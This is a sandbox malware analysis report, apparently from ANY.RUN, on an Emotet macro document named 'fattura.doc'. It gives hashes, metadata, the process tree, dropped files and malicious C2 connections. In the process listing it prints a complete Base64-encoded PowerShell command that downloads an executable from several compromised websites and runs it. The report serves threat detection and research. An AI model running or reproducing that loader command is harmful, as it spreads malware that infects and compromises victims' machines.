analyze malware
  • Huge database of samples and IOCs
  • Custom VM setup
  • Unlimited submissions
  • Interactive approach
Sign up, it’s free
File name:

fattura.doc

Full analysis: https://app.any.run/tasks/5e4a3aa4-9b6e-4999-be4b-3142c364824b
Verdict: Malicious activity
Threats:

Emotet is one of the most dangerous trojans ever created. Over the course of its lifetime, it was upgraded to become a very destructive malware. It targets mostly corporate victims but even private users get infected in mass spam email campaigns.

Malware Trends Tracker     >>>
Analysis date: September 19, 2019, 09:47:50
OS: Windows 7 Professional Service Pack 1 (build: 7601, 32 bit)
Tags:
macros
macros-on-open
generated-doc
emotet-doc
emotet
Indicators:
MIME: application/msword
File info: Composite Document File V2 Document, Little Endian, Os: Windows, Version 6.1, Code page: 1252, Title: functionalities systems, Subject: Dynamic, Author: Scottie Klocko, Comments: Savings Account Yemeni Rial Tennessee, Template: Normal.dotm, Revision Number: 1, Name of Creating Application: Microsoft Office Word, Create Time/Date: Thu Sep 19 07:46:00 2019, Last Saved Time/Date: Thu Sep 19 07:46:00 2019, Number of Pages: 1, Number of Words: 95, Number of Characters: 547, Security: 0
MD5:

5EA94C172A324428E559F604CD2284A3

SHA1:

8C295A30362736FAB77B0553CDD0113E034DC49B

SHA256:

B8DC5C75F7E6024BA3BAE859A6063D123351FC81842F37841098F381347807C1

SSDEEP:

6144:zX8Y2WaPaQxUk+MclQDgQOePLkI27NSU4jJntATfDlTPsOupt3:zsY2WaPaQxUk+MclQDgQOcX27NSU4Ve2

ANY.RUN is an interactive service which provides full access to the guest system. Information in this report could be distorted by user actions and is provided for user acknowledgement as it is. ANY.RUN does not guarantee maliciousness or safety of the content.

  • MALICIOUS

    • Application was dropped or rewritten from another process

      • 572.exe (PID: 2432)
      • 572.exe (PID: 3172)
      • 572.exe (PID: 2548)
      • 572.exe (PID: 3396)
      • easywindow.exe (PID: 3416)
      • easywindow.exe (PID: 2384)
      • easywindow.exe (PID: 2344)
      • easywindow.exe (PID: 3276)

    • Emotet process was detected

      • 572.exe (PID: 3396)

  • SUSPICIOUS

    • PowerShell script executed

      • powershell.exe (PID: 3848)

    • Creates files in the user directory

      • powershell.exe (PID: 3848)

    • Executed via WMI

      • powershell.exe (PID: 3848)

    • Executable content was dropped or overwritten

      • powershell.exe (PID: 3848)
      • 572.exe (PID: 3396)

    • Application launched itself

      • 572.exe (PID: 2548)

    • Starts itself from another location

      • 572.exe (PID: 3396)

    • Connects to server without host name

      • easywindow.exe (PID: 3276)

  • INFO

    • Creates files in the user directory

      • WINWORD.EXE (PID: 2856)

    • Reads Microsoft Office registry keys

      • WINWORD.EXE (PID: 2856)

    • Reads settings of System Certificates

      • powershell.exe (PID: 3848)
Find more information about signature artifacts and mapping to MITRE ATT&CK™ MATRIX at the full report
No Malware configuration.

TRiD

.doc | Microsoft Word document (54.2)
.doc | Microsoft Word document (old ver.) (32.2)

EXIF

FlashPix

CompObjUserType: Microsoft Word 97-2003 Document
CompObjUserTypeLen: 32
Manager: Greenholt
HeadingPairs:
  • Title
  • 1
TitleOfParts: -
HyperlinksChanged: No
SharedDoc: No
LinksUpToDate: No
ScaleCrop: No
AppVersion: 16
CharCountWithSpaces: 641
Paragraphs: 1
Lines: 4
Company: Gislason - Nienow
CodePage: Windows Latin 1 (Western European)
Security: None
Characters: 547
Words: 95
Pages: 1
ModifyDate: 2019:09:19 06:46:00
CreateDate: 2019:09:19 06:46:00
TotalEditTime: -
Software: Microsoft Office Word
RevisionNumber: 1
LastModifiedBy: -
Template: Normal.dotm
Comments: Savings Account Yemeni Rial Tennessee
Keywords: -
Author: Scottie Klocko
Subject: Dynamic
Title: functionalities systems
No data.
screenshotscreenshotscreenshotscreenshotscreenshotscreenshot
All screenshots are available in the full report
All screenshots are available in the full report
Total processes
44
Monitored processes
10
Malicious processes
4
Suspicious processes
4

Behavior graph

Click at the process to see the details
start drop and start drop and start winword.exe no specs powershell.exe 572.exe no specs 572.exe no specs 572.exe no specs #EMOTET 572.exe easywindow.exe no specs easywindow.exe no specs easywindow.exe no specs easywindow.exe

Process information

PID
CMD
Path
Indicators
Parent process
2856"C:\Program Files\Microsoft Office\Office14\WINWORD.EXE" /n "C:\Users\admin\AppData\Local\Temp\fattura.doc"C:\Program Files\Microsoft Office\Office14\WINWORD.EXE—explorer.exe
User:
admin
Company:
Microsoft Corporation
Integrity Level:
MEDIUM
Description:
Microsoft Word
Version:
14.0.6024.1000
3848powershell -encod JABwADgAMQBUAFkAagBJAEgAPQAnAHoAdQBQADUAUwBVADQAdQAnADsAJABrADQANwBwAHAATQA2AEkAIAA9ACAAJwA1ADcAMgAnADsAJABsADUAMABvAHIAagBZAD0AJwBkADEAaQA5AEUAUABqAEEAJwA7ACQASgBXAFQAcwBtAHMAcgBYAD0AJABlAG4AdgA6AHUAcwBlAHIAcAByAG8AZgBpAGwAZQArACcAXAAnACsAJABrADQANwBwAHAATQA2AEkAKwAnAC4AZQB4AGUAJwA7ACQAZABrAEsANAAyADkAPQAnAFQAVgBUAEsAagBGACcAOwAkAEsAbwBaAFoAOQBLADkAdgA9ACYAKAAnAG4AZQB3ACcAKwAnAC0AbwAnACsAJwBiAGoAZQBjACcAKwAnAHQAJwApACAAbgBFAHQALgB3AGUAYgBDAGwASQBFAE4AVAA7ACQASwBiAEwAagBPAEcAcgB6AD0AJwBoAHQAdABwAHMAOgAvAC8AYQBuAGkAdgBlAG4AdAB1AHIAZQAuAGMAbwAuAHUAawAvAHcAcAAtAGMAbwBuAHQAZQBuAHQALwBhAGIAeQBPAHIARQBTAEQALwBAAGgAdAB0AHAAcwA6AC8ALwB3AHcAdwAuAHMAdAByAHUAYwB0AHUAcgBlAHMALQBtAGEAZABlAC0AZQBhAHMAeQAuAGMAbwAuAHUAawAvAHcAcAAtAGkAbgBjAGwAdQBkAGUAcwAvAEMAUABtAEIAVABtAHQATwAvAEAAaAB0AHQAcABzADoALwAvAG8AZgBmAHMAaQBkAGUAMgAuADAAMAAwAHcAZQBiAGgAbwBzAHQAYQBwAHAALgBjAG8AbQAvAHMAZQBrAGkAbABsAGUAcgAvAHgAQwBWAGwAUAB4AEgAWQAvAEAAaAB0AHQAcABzADoALwAvAHAAcgBhAG0AbwBkAGsAdQBtAGEAcgBzAGkAbgBnAGgALgAwADAAMAB3AGUAYgBoAG8AcwB0AGEAcABwAC4AYwBvAG0ALwB3AHAALQBhAGQAbQBpAG4ALwAwAHAAagBxAF8AdQBvAGcAcQBqADUANwBoADEALQA1ADEAMQA4ADcAMAA0ADIAOQAwAC8AQABoAHQAdABwADoALwAvAGgAZQBhAGwAdABoAGsAbgBvAHcAbABlAGQAZwBlAC4AbQB5AC8AdwBwAC0AaQBuAGMAbAB1AGQAZQBzAC8AZwBpADcAagBlAGEAbwBsADQAbQBfADAAYwBrAGUAMQBxADAAeQAtADcANgAvACcALgAiAHMAYABwAEwAaQBUACIAKAAnAEAAJwApADsAJABDADMAcABzAEEAdgA9ACcAUwBLAFEAUgB6AEMAJwA7AGYAbwByAGUAYQBjAGgAKAAkAFcARABoAE0AaQA5AGEAIABpAG4AIAAkAEsAYgBMAGoATwBHAHIAegApAHsAdAByAHkAewAkAEsAbwBaAFoAOQBLADkAdgAuACIARABPAGAAdwBOAEwAbwBgAEEAYABkAEYASQBsAGUAIgAoACQAVwBEAGgATQBpADkAYQAsACAAJABKAFcAVABzAG0AcwByAFgAKQA7ACQAVwBkAFMAOQBqAEEASAByAD0AJwBBAGgAcgBZAFEAWQB3ACcAOwBJAGYAIAAoACgAJgAoACcARwBlAHQALQBJAHQAJwArACcAZQAnACsAJwBtACcAKQAgACQASgBXAFQAcwBtAHMAcgBYACkALgAiAEwAZQBgAE4AZwB0AGgAIgAgAC0AZwBlACAAMgAwADEAMQA0ACkAIAB7AFsARABpAGEAZwBuAG8AcwB0AGkAYwBzAC4AUAByAG8AYwBlAHMAcwBdADoAOgAiAHMAYABUAEEAUgBUACIAKAAkAEoAVwBUAHMAbQBzAHIAWAApADsAJABSAG0ARwB6AFUAOABoAD0AJwBSAE4AVgBpAGEAdQBHAHcAJwA7AGIAcgBlAGEAawA7ACQAQwB2ADkAbwBqAHUAdAA9ACcAdQAzAGoAegAyAEoAaAAxACcAfQB9AGMAYQB0AGMAaAB7AH0AfQAkAGgAbQBpAGEAXwB0AFEAPQAnAE4AbwBLAGwAaABmAEoANQAnAA==C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
wmiprvse.exe
User:
admin
Company:
Microsoft Corporation
Integrity Level:
MEDIUM
Description:
Windows PowerShell
Exit code:
0
Version:
6.1.7600.16385 (win7_rtm.090713-1255)
3172"C:\Users\admin\572.exe" C:\Users\admin\572.exe—powershell.exe
User:
admin
Company:
Microsoft Corporation
Integrity Level:
MEDIUM
Description:
Display Control Panel
Exit code:
0
Version:
6.1.7601.17514 (win7sp1_rtm.101119-1850)
2432"C:\Users\admin\572.exe" C:\Users\admin\572.exe—572.exe
User:
admin
Company:
Microsoft Corporation
Integrity Level:
MEDIUM
Description:
Display Control Panel
Exit code:
0
Version:
6.1.7601.17514 (win7sp1_rtm.101119-1850)
2548--fb4ffeeeC:\Users\admin\572.exe—572.exe
User:
admin
Company:
Microsoft Corporation
Integrity Level:
MEDIUM
Description:
Display Control Panel
Exit code:
0
Version:
6.1.7601.17514 (win7sp1_rtm.101119-1850)
3396--fb4ffeeeC:\Users\admin\572.exe
572.exe
User:
admin
Company:
Microsoft Corporation
Integrity Level:
MEDIUM
Description:
Display Control Panel
Exit code:
0
Version:
6.1.7601.17514 (win7sp1_rtm.101119-1850)
3416"C:\Users\admin\AppData\Local\easywindow\easywindow.exe"C:\Users\admin\AppData\Local\easywindow\easywindow.exe—572.exe
User:
admin
Company:
Microsoft Corporation
Integrity Level:
MEDIUM
Description:
Display Control Panel
Exit code:
0
Version:
6.1.7601.17514 (win7sp1_rtm.101119-1850)
2344"C:\Users\admin\AppData\Local\easywindow\easywindow.exe"C:\Users\admin\AppData\Local\easywindow\easywindow.exe—easywindow.exe
User:
admin
Company:
Microsoft Corporation
Integrity Level:
MEDIUM
Description:
Display Control Panel
Exit code:
0
Version:
6.1.7601.17514 (win7sp1_rtm.101119-1850)
2384--fd47f3b8C:\Users\admin\AppData\Local\easywindow\easywindow.exe—easywindow.exe
User:
admin
Company:
Microsoft Corporation
Integrity Level:
MEDIUM
Description:
Display Control Panel
Exit code:
0
Version:
6.1.7601.17514 (win7sp1_rtm.101119-1850)
3276--fd47f3b8C:\Users\admin\AppData\Local\easywindow\easywindow.exe
easywindow.exe
User:
admin
Company:
Microsoft Corporation
Integrity Level:
MEDIUM
Description:
Display Control Panel
Version:
6.1.7601.17514 (win7sp1_rtm.101119-1850)
Total events
1 767
Read events
1 276
Write events
0
Delete events
0

Modification events

No data
Executable files
2
Suspicious files
10
Text files
0
Unknown types
43

Dropped files

PID
Process
Filename
Type
2856WINWORD.EXEC:\Users\admin\AppData\Local\Temp\CVR9C54.tmp.cvr —
MD5:—
SHA256:—
2856WINWORD.EXEC:\Users\admin\AppData\Local\Temp\Word8.0\MSForms.exdtlb
MD5:AA10B5724351A53C17611AFF97DC2268
SHA256:81130ED810A549807569CD04AC9E69423823D80E898687721CBCC800950EA92E
2856WINWORD.EXEC:\Users\admin\AppData\Local\Microsoft\Windows\Temporary Internet Files\Content.MSO\2E49AE7F.wmfwmf
MD5:8C133D18DA73DCF275143A41EEC9B4CD
SHA256:21DF3FC6454B8D7B56F50B019D396BE839865F540C6949063324E396866C4577
2856WINWORD.EXEC:\Users\admin\AppData\Local\Microsoft\Windows\Temporary Internet Files\Content.MSO\9E3B3BE5.wmfwmf
MD5:F6C826CB273DB84305997B03ACFDB5C7
SHA256:73C3C3285E4D45E15B3854CE8E1C8F14643D934952D5145E8C5D838889BAABB9
2856WINWORD.EXEC:\Users\admin\AppData\Local\Microsoft\Windows\Temporary Internet Files\Content.MSO\1BDE6289.wmfwmf
MD5:D9F98E3DD7B24DB24D5ADA8448760DF0
SHA256:17EF0F09105D07C40A31DF319657C126B7CDE39CA8D5A5237BC6ECB75C13B00F
2856WINWORD.EXEC:\Users\admin\AppData\Local\Microsoft\Windows\Temporary Internet Files\Content.MSO\35705D01.wmfwmf
MD5:1E8AA788AC661230F5313FE3B2E1A97D
SHA256:D6ECCD0CEC5B401599FE435B8A2808535EBAEA80248E0D901628ACDE06BCA24A
2856WINWORD.EXEC:\Users\admin\AppData\Local\Microsoft\Windows\Temporary Internet Files\Content.MSO\ADFA4283.wmfwmf
MD5:AFD0073D3188E80AA0CE4BC191A91A01
SHA256:366E4A283AA5849B25679F705457C29145D153FEA0AC58B5659203F6B4CD8196
2856WINWORD.EXEC:\Users\admin\AppData\Local\Microsoft\Windows\Temporary Internet Files\Content.MSO\17EB27B7.wmfwmf
MD5:71CC6D820054647AA3C39B3FA948B58C
SHA256:B6DF2DC20F730B01CA950F509C166F21E9436F1CC9D7E55FCA0253F3C664396E
2856WINWORD.EXEC:\Users\admin\AppData\Roaming\Microsoft\Templates\~$Normal.dotmpgc
MD5:67C196CE9F21CBD6E5D6E7BCCF8E06D4
SHA256:9EB152F401CFA337F047CB5F055A5DD022C7D5B11E8260BEA3551C131B7DB7DC
2856WINWORD.EXEC:\Users\admin\AppData\Local\Temp\~$attura.docpgc
MD5:74E57D38312708FC5CAA6C9D0F11FBD0
SHA256:50AB909718F1AFEE8EA895FD61510A859647D686BBCE73DE6E3B49CB947D05E3
Download PCAP, analyze network streams, HTTP content and a lot more at the full report
HTTP(S) requests
1
TCP/UDP connections
2
DNS requests
1
Threats
0

HTTP requests

PID
Process
Method
HTTP Code
IP
URL
CN
Type
Size
Reputation
3276
easywindow.exe
POST
—
190.18.146.70:80
http://190.18.146.70/attrib/pdf/ringin/
AR
—
—
malicious
Download PCAP, analyze network streams, HTTP content and a lot more at the full report

Connections

PID
Process
IP
Domain
ASN
CN
Reputation
3276
easywindow.exe
190.18.146.70:80
—
CABLEVISION S.A.
AR
malicious
3848
powershell.exe
104.28.18.13:443
aniventure.co.uk
Cloudflare Inc
US
shared

DNS requests

Domain
IP
Reputation
aniventure.co.uk
  • 104.28.18.13
  • 104.28.19.13
malicious

Threats

No threats detected
No debug info
Interactive malware hunting service ANY.RUN
© 2017-2024 ANY.RUN LLC. ALL RIGHTS RESERVED
ANY.RUN
Reports
fattura.doc